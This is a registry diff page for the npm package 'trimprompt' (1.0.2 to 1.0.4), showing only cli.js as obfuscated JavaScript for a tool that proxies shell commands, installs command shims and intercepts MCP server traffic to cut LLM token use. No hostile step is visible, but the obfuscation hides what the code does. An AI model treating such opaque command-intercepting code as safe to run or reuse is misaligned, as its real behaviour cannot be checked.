trimprompt 1.0.2 → 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/cli.js +1 -1
- package/dashboard.js +1 -1
- package/executor.js +1 -1
- package/filters/generic.js +1 -1
- package/filters/git.js +1 -1
- package/filters/index.js +1 -1
- package/filters/js.js +1 -1
- package/filters/python.js +1 -1
- package/mcp.js +1 -1
- package/package.json +1 -1
- package/redactor.js +1 -1
- package/seed.js +1 -1
- package/shims.js +1 -1
- package/simulate.js +1 -1
- package/sync.js +1 -1
- package/tracker.js +1 -1
package/cli.js
CHANGED
|
@@ -1,2 +1,2 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
|
-
'use strict';function a0_0x2805(_0x4e4a75,_0x24e687){_0x4e4a75=_0x4e4a75-0x1b5;const _0x534ee7=a0_0x534e();let _0x2805a3=_0x534ee7[_0x4e4a75];return _0x2805a3;}const a0_0x392b81=a0_0x2805;(function(_0x534f9f,_0x2722d1){const _0x19e46c=a0_0x2805,_0x4bdb88=_0x534f9f();while(!![]){try{const _0x49b6d2=parseInt(_0x19e46c(0x23a))/0x1*(-parseInt(_0x19e46c(0x21e))/0x2)+-parseInt(_0x19e46c(0x23b))/0x3+parseInt(_0x19e46c(0x218))/0x4*(parseInt(_0x19e46c(0x24b))/0x5)+parseInt(_0x19e46c(0x1b6))/0x6+parseInt(_0x19e46c(0x255))/0x7+parseInt(_0x19e46c(0x223))/0x8*(parseInt(_0x19e46c(0x1d4))/0x9)+parseInt(_0x19e46c(0x1cf))/0xa*(-parseInt(_0x19e46c(0x252))/0xb);if(_0x49b6d2===_0x2722d1)break;else _0x4bdb88['push'](_0x4bdb88['shift']());}catch(_0x6d971f){_0x4bdb88['push'](_0x4bdb88['shift']());}}}(a0_0x534e,0xe3655));var __createBinding=this&&this[a0_0x392b81(0x1ca)]||(Object['create']?function(_0xc2bfb9,_0x473778,_0x3cb4e5,_0x3f2dcb){const _0x1d670d=a0_0x392b81;if(_0x3f2dcb===undefined)_0x3f2dcb=_0x3cb4e5;var _0x116fda=Object[_0x1d670d(0x244)](_0x473778,_0x3cb4e5);(!_0x116fda||(_0x1d670d(0x1e8)in _0x116fda?!_0x473778['__esModule']:_0x116fda[_0x1d670d(0x1be)]||_0x116fda['configurable']))&&(_0x116fda={'enumerable':!![],'get':function(){return _0x473778[_0x3cb4e5];}}),Object[_0x1d670d(0x1f4)](_0xc2bfb9,_0x3f2dcb,_0x116fda);}:function(_0x28841c,_0x2272bf,_0x1736d4,_0x26ade1){if(_0x26ade1===undefined)_0x26ade1=_0x1736d4;_0x28841c[_0x26ade1]=_0x2272bf[_0x1736d4];}),__setModuleDefault=this&&this[a0_0x392b81(0x1dd)]||(Object[a0_0x392b81(0x238)]?function(_0x5409c0,_0x4af604){const _0x420015=a0_0x392b81;Object[_0x420015(0x1f4)](_0x5409c0,_0x420015(0x1f8),{'enumerable':!![],'value':_0x4af604});}:function(_0x22c1a2,_0x10e527){_0x22c1a2['default']=_0x10e527;}),__importStar=this&&this[a0_0x392b81(0x1d0)]||(function(){var _0x42a412=function(_0x4eb6ce){const _0x57486b=a0_0x2805;return _0x42a412=Object[_0x57486b(0x220)]||function(_0x1b0374){const _0x296808=_0x57486b;var _0x1d2651=[];for(var _0x4a9d6d in _0x1b0374)if(Object[_0x296808(0x1c8)][_0x296808(0x1dc)][_0x296808(0x20d)](_0x1b0374,_0x4a9d6d))_0x1d2651[_0x1d2651[_0x296808(0x1eb)]]=_0x4a9d6d;return _0x1d2651;},_0x42a412(_0x4eb6ce);};return function(_0x1c1264){const _0x228aed=a0_0x2805;if(_0x1c1264&&_0x1c1264[_0x228aed(0x1c4)])return _0x1c1264;var _0x1673f0={};if(_0x1c1264!=null){for(var _0x3d804f=_0x42a412(_0x1c1264),_0x788c4d=0x0;_0x788c4d<_0x3d804f[_0x228aed(0x1eb)];_0x788c4d++)if(_0x3d804f[_0x788c4d]!==_0x228aed(0x1f8))__createBinding(_0x1673f0,_0x1c1264,_0x3d804f[_0x788c4d]);}return __setModuleDefault(_0x1673f0,_0x1c1264),_0x1673f0;};}());Object[a0_0x392b81(0x1f4)](exports,a0_0x392b81(0x1c4),{'value':!![]});const commander_1=require(a0_0x392b81(0x1fa)),executor_1=require(a0_0x392b81(0x209)),filters_1=require(a0_0x392b81(0x254)),tracker_1=require('./tracker'),shims_1=require(a0_0x392b81(0x1ee)),dashboard_1=require(a0_0x392b81(0x216)),program=new commander_1[(a0_0x392b81(0x1cd))]();function isDisabled(){return process.env.TRIMPROMPT_DISABLED==='1';}function adjustCommandArgs(_0x30a047,_0x569214){const _0xca2273=a0_0x392b81,_0x4b377d=_0x30a047[_0xca2273(0x1c7)]();if(_0x4b377d==='git'||_0x4b377d==='yadm'){const _0xcad4f=_0x569214[0x0];if(_0xcad4f==='status'){const _0x2700f1=_0x569214[_0xca2273(0x231)](0x1),_0x429567=_0x2700f1['length']===0x0||_0x2700f1[_0xca2273(0x1d8)](_0x19b84e=>{const _0x539012=_0xca2273;return _0x19b84e==='-b'||_0x19b84e===_0x539012(0x215)||_0x19b84e===_0x539012(0x22a)||_0x19b84e===_0x539012(0x235)||_0x19b84e==='-s'||_0x19b84e===_0x539012(0x20a);});if(_0x429567)return{'cmd':_0x30a047,'args':[_0xca2273(0x251),_0xca2273(0x248),'-b']};}else{if(_0xcad4f===_0xca2273(0x1f0)){const _0x22730e=_0x569214[_0xca2273(0x231)](0x1),_0x2148b5=_0x22730e[_0xca2273(0x1c3)](_0x2ad408=>_0x2ad408[_0xca2273(0x208)](_0xca2273(0x1b9))||_0x2ad408['startsWith'](_0xca2273(0x241))||_0x2ad408[_0xca2273(0x208)](_0xca2273(0x214))),_0x46bf36=_0x22730e[_0xca2273(0x1c3)](_0x5059f0=>_0x5059f0[_0xca2273(0x208)]('-')&&/^\d+$/[_0xca2273(0x24e)](_0x5059f0[_0xca2273(0x231)](0x1))||_0x5059f0==='-n'||_0x5059f0[_0xca2273(0x208)](_0xca2273(0x224))),_0xbe3a34=[..._0x569214];if(!_0x2148b5){const _0x538350='--pretty=format:%h\x20%s\x20(%ar)\x20(%an)%n%b%n---END---';_0xbe3a34['push'](process[_0xca2273(0x1bf)]===_0xca2273(0x20f)?'\x22'+_0x538350+'\x22':_0x538350);}!_0x46bf36&&(_0x2148b5?_0xbe3a34[_0xca2273(0x239)](_0xca2273(0x1bd)):_0xbe3a34[_0xca2273(0x239)]('-10'));const _0x40a711=_0x22730e[_0xca2273(0x1c3)](_0x11b9ad=>_0x11b9ad===_0xca2273(0x1e0)||_0x11b9ad===_0xca2273(0x237)||_0x11b9ad['startsWith']('--min-parents'));return!_0x40a711&&!_0x46bf36&&_0xbe3a34['push'](_0xca2273(0x237)),{'cmd':_0x30a047,'args':_0xbe3a34};}}}return{'cmd':_0x30a047,'args':_0x569214};}function isMcpServerExecution(_0x7a49ad,_0x3dfd28){const _0x54c473=a0_0x392b81,_0x150131=_0x7a49ad[_0x54c473(0x1c7)](),_0x3e83ea=_0x3dfd28[_0x54c473(0x217)]('\x20')[_0x54c473(0x1c7)]();if(_0x150131['includes']('mcp')&&(_0x150131[_0x54c473(0x1c0)](_0x54c473(0x1d3))||_0x150131['includes'](_0x54c473(0x1f5))))return!![];if(_0x150131===_0x54c473(0x1d6)||_0x150131===_0x54c473(0x1e9)||_0x150131===_0x54c473(0x226)||_0x150131==='npm'||_0x150131===_0x54c473(0x1d2)||_0x150131===_0x54c473(0x22f)){if(_0x3e83ea[_0x54c473(0x1c0)](_0x54c473(0x1fd))||_0x3e83ea[_0x54c473(0x1c0)](_0x54c473(0x1d1))||_0x3e83ea[_0x54c473(0x1c0)](_0x54c473(0x1f1))||_0x3e83ea[_0x54c473(0x1c0)](_0x54c473(0x221)))return!![];}if(_0x3dfd28[_0x54c473(0x1c3)](_0x2a66d0=>{const _0x3e3a25=_0x54c473,_0xa4a65b=_0x2a66d0[_0x3e3a25(0x1c7)]();return _0xa4a65b[_0x3e3a25(0x1c0)](_0x3e3a25(0x1f1))||_0xa4a65b[_0x3e3a25(0x1c0)]('server-mcp')||_0xa4a65b['includes'](_0x3e3a25(0x1fd))||_0xa4a65b===_0x3e3a25(0x1c2)||_0xa4a65b===_0x3e3a25(0x233);}))return!![];return![];}async function runProxy(_0x5c32b6){const _0x262e3b=a0_0x392b81;if(_0x5c32b6[_0x262e3b(0x1eb)]===0x0){program[_0x262e3b(0x24a)]();return;}const _0x4ddbdf=_0x5c32b6[0x0],_0x1add13=_0x5c32b6[_0x262e3b(0x231)](0x1),_0x3352ea=_0x5c32b6[_0x262e3b(0x217)]('\x20');if(isDisabled()){const _0x31f0c5=await(0x0,executor_1[_0x262e3b(0x1ff)])(_0x4ddbdf,_0x1add13);process['stdout']['write'](_0x31f0c5['stdout']),process[_0x262e3b(0x240)][_0x262e3b(0x1cb)](_0x31f0c5[_0x262e3b(0x240)]),process['exit'](_0x31f0c5[_0x262e3b(0x236)]);}if(isMcpServerExecution(_0x4ddbdf,_0x1add13)){console[_0x262e3b(0x1ce)](_0x262e3b(0x1ec));const {runMcpProxy:_0x51c931}=await Promise[_0x262e3b(0x1c9)]()['then'](()=>__importStar(require(_0x262e3b(0x21f))));_0x51c931(_0x4ddbdf,_0x1add13);return;}const _0x3e1d4a=adjustCommandArgs(_0x4ddbdf,_0x1add13),_0xff2fbb=await(0x0,executor_1[_0x262e3b(0x1ff)])(_0x3e1d4a[_0x262e3b(0x21d)],_0x3e1d4a['args']),_0x3608ea=(0x0,filters_1[_0x262e3b(0x1e5)])(_0x3352ea,_0xff2fbb['stdout'],_0xff2fbb['stderr'],tracker_1[_0x262e3b(0x1fe)][_0x262e3b(0x1bc)]()[_0x262e3b(0x1ef)]),_0x31067b=_0xff2fbb['stdout']+(_0xff2fbb[_0x262e3b(0x240)][_0x262e3b(0x1e2)]()[_0x262e3b(0x1eb)]>0x0?'\x0a'+_0xff2fbb[_0x262e3b(0x240)]:'');tracker_1[_0x262e3b(0x1fe)][_0x262e3b(0x201)](_0x3352ea,_0x31067b,_0x3608ea,_0xff2fbb[_0x262e3b(0x236)]),_0xff2fbb[_0x262e3b(0x236)]===0x0?process[_0x262e3b(0x1c6)][_0x262e3b(0x1cb)](_0x3608ea+'\x0a'):(process[_0x262e3b(0x1c6)][_0x262e3b(0x1cb)](_0x3608ea+'\x0a'),_0xff2fbb[_0x262e3b(0x240)][_0x262e3b(0x1e2)]()[_0x262e3b(0x1eb)]>0x0&&!_0x3608ea[_0x262e3b(0x1c0)](_0xff2fbb[_0x262e3b(0x240)]['trim']())&&process[_0x262e3b(0x240)][_0x262e3b(0x1cb)](_0xff2fbb[_0x262e3b(0x240)]+'\x0a')),process[_0x262e3b(0x204)](_0xff2fbb[_0x262e3b(0x236)]);}function a0_0x534e(){const _0x1fcb6b=['executeCommand','-p,\x20--port\x20<number>','logExecution','Money\x20Saved:\x20\x20\x20\x20\x20\x20\x20$','set','exit','shims','then','install','startsWith','./executor','--short','\x20\x20\x20\x20\x20\x20\x20TRIMPROMPT.AI\x20SAVINGS\x20SUMMARY\x20\x20\x20\x20\x20\x20\x20\x20','=============================================','call','stats','win32','message','option','Install\x20or\x20uninstall\x20system\x20command\x20shims','Start\x20the\x20local\x20developer\x20dashboard','--format','--branch','./dashboard','join','6180PKAMKK','[server-args...]','1.0.0','parse','name','cmd','2iEaenJ','./mcp','getOwnPropertyNames','server-mcp','description','5745224AqeHNY','--max-count','uninstallShims','bun','-m,\x20--model\x20<string>','argument','Proxy\x20wrapper\x20for\x20Model\x20Context\x20Protocol\x20(MCP)\x20servers\x20to\x20compact\x20tool\x20outputs','-sb','[TrimPrompt]\x20Fatal\x20Proxy\x20Error:\x20','alias','savings_percentage','port','yarn','Select\x20pricing\x20model\x20(e.g.\x20claude-3-5-sonnet,\x20gpt-4o)','slice','Reduction\x20Rate:\x20\x20\x20\x20','mcp','\x20(after\x20Shave)','-bs','exitCode','--no-merges','create','push','264736ZXmHJn','620793bbzKTT','argv','Raw\x20Tokens:\x20\x20\x20\x20\x20\x20\x20\x20','Config\x20set\x20','toLocaleString','stderr','--pretty','Error:\x20Action\x20must\x20be\x20install\x20or\x20uninstall','model','getOwnPropertyDescriptor','Command\x20line\x20to\x20evaluate','Check\x20a\x20command\x20line\x20and\x20return\x20the\x20optimized\x20command\x20line','=============================================\x0a','--porcelain','toFixed','help','4870evGNgL','action','--version','test','install\x20or\x20uninstall','config','status','16222657IGOMIG','--help','./filters','12697545UfSpxX','<key>','Command\x20to\x20launch\x20the\x20target\x20MCP\x20server','config\x20parameter\x20name','10743138KjdjZb','startDashboard','false','--oneline','model_name','<action>','getConfig','-50','writable','platform','includes','[value]','mcp-proxy','some','__esModule','\x20USD','stdout','toLowerCase','prototype','resolve','__createBinding','write','total_compressed_tokens','Command','error','30DIhxZu','__importStar','modelcontextprotocol','pnpm','server','9DViOMH','rewriteCommand','npx','claude-3-5-sonnet','every','TrimPrompt.ai\x20-\x20Reduce\x20LLM\x20token\x20consumption\x20by\x2060-90%','Compressed:\x20\x20\x20\x20\x20\x20\x20\x20','Estimated\x20Cost:\x20\x20\x20\x20$','hasOwnProperty','__setModuleDefault','command','rewrite','--merges','\x20(before\x20Shave)','trim','total_raw_tokens','<server-command>','compressOutput','Arguments\x20for\x20the\x20target\x20MCP\x20server','Show\x20token\x20and\x20cost\x20savings\x20summary','get','node','true','length','[TrimPrompt]\x20Autodetected\x20MCP\x20server\x20execution.\x20Activating\x20real-time\x20JSON-RPC\x20proxy...','value\x20to\x20set','./shims','redaction_enabled','log','mcp-server','---------------------------------------------','4000','defineProperty','proxy','raw_cost_usd','\x0a=============================================','default','total_tokens_saved','commander','<commandLine>','dashboard','@modelcontextprotocol/','tracker'];a0_0x534e=function(){return _0x1fcb6b;};return a0_0x534e();}program[a0_0x392b81(0x21c)](a0_0x392b81(0x1e2))[a0_0x392b81(0x222)](a0_0x392b81(0x1d9))['version'](a0_0x392b81(0x21a)),program['command']('ui')[a0_0x392b81(0x22c)](a0_0x392b81(0x1fc))['description'](a0_0x392b81(0x213))[a0_0x392b81(0x211)](a0_0x392b81(0x200),'Port\x20to\x20run\x20the\x20dashboard\x20on',a0_0x392b81(0x1f3))['action'](_0x471ff2=>{const _0x50dd9c=a0_0x392b81,_0x171522=parseInt(_0x471ff2[_0x50dd9c(0x22e)],0xa);(0x0,dashboard_1[_0x50dd9c(0x1b7)])(_0x171522);}),program[a0_0x392b81(0x1de)](a0_0x392b81(0x20e))[a0_0x392b81(0x222)](a0_0x392b81(0x1e7))['option'](a0_0x392b81(0x227),a0_0x392b81(0x230),a0_0x392b81(0x1d7))['action'](_0xb7f1f3=>{const _0x528d2b=a0_0x392b81,_0x5ad87f=tracker_1[_0x528d2b(0x1fe)]['getStatsSummary'](_0xb7f1f3[_0x528d2b(0x243)]);console[_0x528d2b(0x1f0)](_0x528d2b(0x1f7)),console[_0x528d2b(0x1f0)](_0x528d2b(0x20b)),console[_0x528d2b(0x1f0)](_0x528d2b(0x20c)),console[_0x528d2b(0x1f0)]('Model\x20Context:\x20\x20\x20\x20\x20'+_0x5ad87f[_0x528d2b(0x1ba)]),console[_0x528d2b(0x1f0)](_0x528d2b(0x23d)+_0x5ad87f[_0x528d2b(0x1e3)][_0x528d2b(0x23f)]()),console[_0x528d2b(0x1f0)](_0x528d2b(0x1da)+_0x5ad87f[_0x528d2b(0x1cc)][_0x528d2b(0x23f)]()),console[_0x528d2b(0x1f0)]('Tokens\x20Saved:\x20\x20\x20\x20\x20\x20'+_0x5ad87f[_0x528d2b(0x1f9)][_0x528d2b(0x23f)]()),console[_0x528d2b(0x1f0)](_0x528d2b(0x232)+_0x5ad87f[_0x528d2b(0x22d)]+'%'),console[_0x528d2b(0x1f0)](_0x528d2b(0x1db)+_0x5ad87f[_0x528d2b(0x1f6)][_0x528d2b(0x249)](0x4)+_0x528d2b(0x1e1)),console[_0x528d2b(0x1f0)]('Actual\x20Cost:\x20\x20\x20\x20\x20\x20\x20$'+_0x5ad87f['compressed_cost_usd'][_0x528d2b(0x249)](0x4)+_0x528d2b(0x234)),console[_0x528d2b(0x1f0)](_0x528d2b(0x1f2)),console['log'](_0x528d2b(0x202)+_0x5ad87f['money_saved_usd'][_0x528d2b(0x249)](0x4)+_0x528d2b(0x1c5)),console[_0x528d2b(0x1f0)](_0x528d2b(0x247));}),program[a0_0x392b81(0x1de)]('config')[a0_0x392b81(0x222)]('Manage\x20local\x20configuration\x20parameters')['argument'](a0_0x392b81(0x1bb),'get\x20or\x20set')['argument'](a0_0x392b81(0x256),a0_0x392b81(0x1b5))[a0_0x392b81(0x228)](a0_0x392b81(0x1c1),a0_0x392b81(0x1ed))[a0_0x392b81(0x24c)]((_0x28a742,_0x3a2be5,_0x34a0ca)=>{const _0x2ea809=a0_0x392b81;if(_0x28a742===_0x2ea809(0x1e8)){const _0x2449f4=tracker_1[_0x2ea809(0x1fe)]['getConfig']();console[_0x2ea809(0x1f0)](_0x3a2be5+':\x20'+_0x2449f4[_0x3a2be5]);}else{if(_0x28a742===_0x2ea809(0x203)){_0x34a0ca===undefined&&(console[_0x2ea809(0x1ce)]('Error:\x20Value\x20required\x20for\x20set\x20action'),process[_0x2ea809(0x204)](0x1));let _0x4fc53a=_0x34a0ca;if(_0x34a0ca===_0x2ea809(0x1ea))_0x4fc53a=!![];if(_0x34a0ca===_0x2ea809(0x1b8))_0x4fc53a=![];if(/^\d+$/[_0x2ea809(0x24e)](_0x34a0ca))_0x4fc53a=parseInt(_0x34a0ca,0xa);tracker_1[_0x2ea809(0x1fe)]['setConfig'](_0x3a2be5,_0x4fc53a),console[_0x2ea809(0x1f0)](_0x2ea809(0x23e)+_0x3a2be5+'\x20=\x20'+_0x34a0ca);}else console[_0x2ea809(0x1ce)]('Error:\x20Action\x20must\x20be\x20get\x20or\x20set'),process[_0x2ea809(0x204)](0x1);}}),program[a0_0x392b81(0x1de)](a0_0x392b81(0x205))['description'](a0_0x392b81(0x212))['argument'](a0_0x392b81(0x1bb),a0_0x392b81(0x24f))[a0_0x392b81(0x24c)](_0x940d24=>{const _0x357c21=a0_0x392b81;if(_0x940d24===_0x357c21(0x207)){const _0xd31e91=(0x0,shims_1['installShims'])();console[_0x357c21(0x1f0)](_0xd31e91['message']);}else{if(_0x940d24==='uninstall'){const _0x1f9891=(0x0,shims_1[_0x357c21(0x225)])();console['log'](_0x1f9891['message']);}else console[_0x357c21(0x1ce)](_0x357c21(0x242)),process[_0x357c21(0x204)](0x1);}}),program['command'](a0_0x392b81(0x1df))[a0_0x392b81(0x222)](a0_0x392b81(0x246))[a0_0x392b81(0x228)](a0_0x392b81(0x1fb),a0_0x392b81(0x245))['action'](_0x10bb9c=>{const _0x5c15ea=a0_0x392b81;if(isDisabled()){console[_0x5c15ea(0x1f0)](_0x10bb9c);return;}const _0x4926e9=(0x0,filters_1[_0x5c15ea(0x1d5)])(_0x10bb9c);console[_0x5c15ea(0x1f0)](_0x4926e9);}),program[a0_0x392b81(0x1de)](a0_0x392b81(0x1c2))[a0_0x392b81(0x22c)]('mcp')['description'](a0_0x392b81(0x229))[a0_0x392b81(0x228)](a0_0x392b81(0x1e4),a0_0x392b81(0x257))[a0_0x392b81(0x228)](a0_0x392b81(0x219),a0_0x392b81(0x1e6))[a0_0x392b81(0x24c)](async(_0xdcb598,_0x5e7405)=>{const _0x224ac2=a0_0x392b81,{runMcpProxy:_0x2efa43}=await Promise[_0x224ac2(0x1c9)]()[_0x224ac2(0x206)](()=>__importStar(require(_0x224ac2(0x21f))));_0x2efa43(_0xdcb598,_0x5e7405);});const args=process[a0_0x392b81(0x23c)][a0_0x392b81(0x231)](0x2),firstArg=args[0x0],subcommands=['ui',a0_0x392b81(0x1fc),a0_0x392b81(0x20e),a0_0x392b81(0x250),a0_0x392b81(0x205),'rewrite',a0_0x392b81(0x1c2),a0_0x392b81(0x233),a0_0x392b81(0x24a),a0_0x392b81(0x253),'-h','version',a0_0x392b81(0x24d),'-v'];firstArg&&!subcommands[a0_0x392b81(0x1c0)](firstArg)?runProxy(args)['catch'](_0xc51379=>{const _0x5d2b61=a0_0x392b81;console['error'](_0x5d2b61(0x22b)+_0xc51379[_0x5d2b61(0x210)]),process[_0x5d2b61(0x204)](0x1);}):program[a0_0x392b81(0x21b)](process[a0_0x392b81(0x23c)]);
|
|
2
|
+
'use strict';const a0_0x4b1687=a0_0x3719;(function(_0x1fc112,_0x3ba96f){const _0x3a07b0=a0_0x3719,_0x504327=_0x1fc112();while(!![]){try{const _0x1ef378=-parseInt(_0x3a07b0(0x11e))/0x1+parseInt(_0x3a07b0(0x13b))/0x2*(parseInt(_0x3a07b0(0x159))/0x3)+parseInt(_0x3a07b0(0x1a2))/0x4+-parseInt(_0x3a07b0(0x190))/0x5*(-parseInt(_0x3a07b0(0x11c))/0x6)+parseInt(_0x3a07b0(0x110))/0x7+-parseInt(_0x3a07b0(0x157))/0x8+-parseInt(_0x3a07b0(0x12e))/0x9*(parseInt(_0x3a07b0(0x118))/0xa);if(_0x1ef378===_0x3ba96f)break;else _0x504327['push'](_0x504327['shift']());}catch(_0x3707a6){_0x504327['push'](_0x504327['shift']());}}}(a0_0x3215,0x4a1f2));var __createBinding=this&&this['__createBinding']||(Object[a0_0x4b1687(0x13e)]?function(_0x33acc9,_0x59b056,_0x2b39e7,_0x169012){const _0x2c9414=a0_0x4b1687;if(_0x169012===undefined)_0x169012=_0x2b39e7;var _0x483eb6=Object[_0x2c9414(0x193)](_0x59b056,_0x2b39e7);(!_0x483eb6||('get'in _0x483eb6?!_0x59b056[_0x2c9414(0x116)]:_0x483eb6[_0x2c9414(0x17c)]||_0x483eb6[_0x2c9414(0x14a)]))&&(_0x483eb6={'enumerable':!![],'get':function(){return _0x59b056[_0x2b39e7];}}),Object['defineProperty'](_0x33acc9,_0x169012,_0x483eb6);}:function(_0x33849f,_0x7ac94f,_0x1f77dd,_0x5545df){if(_0x5545df===undefined)_0x5545df=_0x1f77dd;_0x33849f[_0x5545df]=_0x7ac94f[_0x1f77dd];}),__setModuleDefault=this&&this[a0_0x4b1687(0x14d)]||(Object[a0_0x4b1687(0x13e)]?function(_0x20a2dd,_0x27a6d6){const _0x1e283d=a0_0x4b1687;Object[_0x1e283d(0x14b)](_0x20a2dd,'default',{'enumerable':!![],'value':_0x27a6d6});}:function(_0x8a1468,_0x20d195){const _0xd01238=a0_0x4b1687;_0x8a1468[_0xd01238(0x151)]=_0x20d195;}),__importStar=this&&this[a0_0x4b1687(0x138)]||(function(){var _0x10e6d5=function(_0x3c773a){const _0x9f5cea=a0_0x3719;return _0x10e6d5=Object[_0x9f5cea(0x17b)]||function(_0x4ab1a1){const _0x3e0f6a=_0x9f5cea;var _0x1b67a0=[];for(var _0x589d9e in _0x4ab1a1)if(Object[_0x3e0f6a(0x187)][_0x3e0f6a(0x16e)][_0x3e0f6a(0x14f)](_0x4ab1a1,_0x589d9e))_0x1b67a0[_0x1b67a0[_0x3e0f6a(0x1b6)]]=_0x589d9e;return _0x1b67a0;},_0x10e6d5(_0x3c773a);};return function(_0x354205){const _0x33f201=a0_0x3719;if(_0x354205&&_0x354205['__esModule'])return _0x354205;var _0x4eddef={};if(_0x354205!=null){for(var _0x44dafd=_0x10e6d5(_0x354205),_0x502bb8=0x0;_0x502bb8<_0x44dafd[_0x33f201(0x1b6)];_0x502bb8++)if(_0x44dafd[_0x502bb8]!==_0x33f201(0x151))__createBinding(_0x4eddef,_0x354205,_0x44dafd[_0x502bb8]);}return __setModuleDefault(_0x4eddef,_0x354205),_0x4eddef;};}());Object[a0_0x4b1687(0x14b)](exports,a0_0x4b1687(0x116),{'value':!![]});const commander_1=require('commander'),executor_1=require(a0_0x4b1687(0x117)),filters_1=require(a0_0x4b1687(0x15e)),tracker_1=require(a0_0x4b1687(0x176)),shims_1=require(a0_0x4b1687(0x149)),dashboard_1=require(a0_0x4b1687(0x178)),program=new commander_1[(a0_0x4b1687(0x164))]();function a0_0x3215(){const _0x2845ea=['\x0a=============================================','getOwnPropertyNames','writable','test','server','get\x20or\x20set','mcp-proxy','log','claude-3-5-sonnet','write','Port\x20to\x20run\x20the\x20dashboard\x20on','Reduction\x20Rate:\x20\x20\x20\x20','uninstall','prototype','Raw\x20Tokens:\x20\x20\x20\x20\x20\x20\x20\x20','model_name','Show\x20token\x20and\x20cost\x20savings\x20summary','description','installShims','some','Select\x20pricing\x20model\x20(e.g.\x20claude-3-5-sonnet,\x20gpt-4o)','--version','86185liKGPN','toFixed','config','getOwnPropertyDescriptor','server-mcp','-bs','--format','win32','\x20(before\x20Shave)','[TrimPrompt]\x20Autodetected\x20MCP\x20server\x20execution.\x20Activating\x20real-time\x20JSON-RPC\x20proxy...','Command\x20line\x20to\x20evaluate','action','mcp','--min-parents','parse','1.0.0','Manage\x20local\x20configuration\x20parameters','\x20=\x20','1490252MScBuL','\x20USD','--short','-sb','toLocaleString','Start\x20the\x20local\x20developer\x20dashboard','message','port','argv','pnpm','Install\x20or\x20uninstall\x20system\x20command\x20shims','Money\x20Saved:\x20\x20\x20\x20\x20\x20\x20$','argument','exit','name','[TrimPrompt]\x20Fatal\x20Proxy\x20Error:\x20','command','startDashboard','join','Command\x20to\x20launch\x20the\x20target\x20MCP\x20server','length','3888717xqqmuj','rewrite','Error:\x20Action\x20must\x20be\x20get\x20or\x20set','Check\x20a\x20command\x20line\x20and\x20return\x20the\x20optimized\x20command\x20line','--max-count','executeCommand','__esModule','./executor','7072070KQYtZr','then','[server-args...]','npm','78HrFJOl','config\x20parameter\x20name','185538DRwVxT','--oneline','resolve','<server-command>','modelcontextprotocol','yarn','TrimPrompt.ai\x20-\x20Reduce\x20LLM\x20token\x20consumption\x20by\x2060-90%','version','--porcelain','help','--pretty=format:%h\x20%s\x20(%ar)\x20(%an)%n%b%n---END---','-p,\x20--port\x20<number>','total_compressed_tokens','tracker','<action>','install','9SJRMBz','bun','Error:\x20Value\x20required\x20for\x20set\x20action','stats','install\x20or\x20uninstall','Arguments\x20for\x20the\x20target\x20MCP\x20server','Estimated\x20Cost:\x20\x20\x20\x20$','toLowerCase','./mcp','savings_percentage','__importStar','Tokens\x20Saved:\x20\x20\x20\x20\x20\x20','-m,\x20--model\x20<string>','923368PNdVPi','total_tokens_saved','Model\x20Context:\x20\x20\x20\x20\x20','create','args','stdout','=============================================','--no-merges','status','getStatsSummary','git','Proxy\x20wrapper\x20for\x20Model\x20Context\x20Protocol\x20(MCP)\x20servers\x20to\x20compact\x20tool\x20outputs','value\x20to\x20set','mcp-server','./shims','configurable','defineProperty','Config\x20set\x20','__setModuleDefault','=============================================\x0a','call','alias','default','startsWith','push','compressOutput','set','@modelcontextprotocol/','3340096AoHUtB','<commandLine>','3ddafuK','4000','-50','model','money_saved_usd','./filters','npx','setConfig','dashboard','catch','trim','Command','error','every','false','Compressed:\x20\x20\x20\x20\x20\x20\x20\x20','shims','option','cmd','-10','get','hasOwnProperty','\x20\x20\x20\x20\x20\x20\x20TRIMPROMPT.AI\x20SAVINGS\x20SUMMARY\x20\x20\x20\x20\x20\x20\x20\x20','stderr','--pretty','includes','node','---------------------------------------------','slice','./tracker','getConfig','./dashboard','--branch'];a0_0x3215=function(){return _0x2845ea;};return a0_0x3215();}function isDisabled(){return process.env.TRIMPROMPT_DISABLED==='1';}function adjustCommandArgs(_0x25c74e,_0x3aaba2){const _0x4eb106=a0_0x4b1687,_0x16730d=_0x25c74e[_0x4eb106(0x135)]();if(_0x16730d===_0x4eb106(0x145)||_0x16730d==='yadm'){const _0x11ee0c=_0x3aaba2[0x0];if(_0x11ee0c===_0x4eb106(0x143)){const _0x5db1d7=_0x3aaba2[_0x4eb106(0x175)](0x1),_0x18fcf2=_0x5db1d7[_0x4eb106(0x1b6)]===0x0||_0x5db1d7[_0x4eb106(0x166)](_0xd776e5=>{const _0x41c827=_0x4eb106;return _0xd776e5==='-b'||_0xd776e5===_0x41c827(0x179)||_0xd776e5===_0x41c827(0x1a5)||_0xd776e5===_0x41c827(0x195)||_0xd776e5==='-s'||_0xd776e5===_0x41c827(0x1a4);});if(_0x18fcf2)return{'cmd':_0x25c74e,'args':[_0x4eb106(0x143),_0x4eb106(0x126),'-b']};}else{if(_0x11ee0c===_0x4eb106(0x181)){const _0x397475=_0x3aaba2[_0x4eb106(0x175)](0x1),_0x65248c=_0x397475[_0x4eb106(0x18d)](_0x33ae8c=>_0x33ae8c[_0x4eb106(0x152)](_0x4eb106(0x11f))||_0x33ae8c[_0x4eb106(0x152)](_0x4eb106(0x171))||_0x33ae8c['startsWith'](_0x4eb106(0x196))),_0x4a1349=_0x397475[_0x4eb106(0x18d)](_0x587a3c=>_0x587a3c[_0x4eb106(0x152)]('-')&&/^\d+$/[_0x4eb106(0x17d)](_0x587a3c[_0x4eb106(0x175)](0x1))||_0x587a3c==='-n'||_0x587a3c[_0x4eb106(0x152)](_0x4eb106(0x114))),_0x2b5243=[..._0x3aaba2];if(!_0x65248c){const _0xce969d=_0x4eb106(0x128);_0x2b5243[_0x4eb106(0x153)](process['platform']===_0x4eb106(0x197)?'\x22'+_0xce969d+'\x22':_0xce969d);}!_0x4a1349&&(_0x65248c?_0x2b5243[_0x4eb106(0x153)](_0x4eb106(0x15b)):_0x2b5243[_0x4eb106(0x153)](_0x4eb106(0x16c)));const 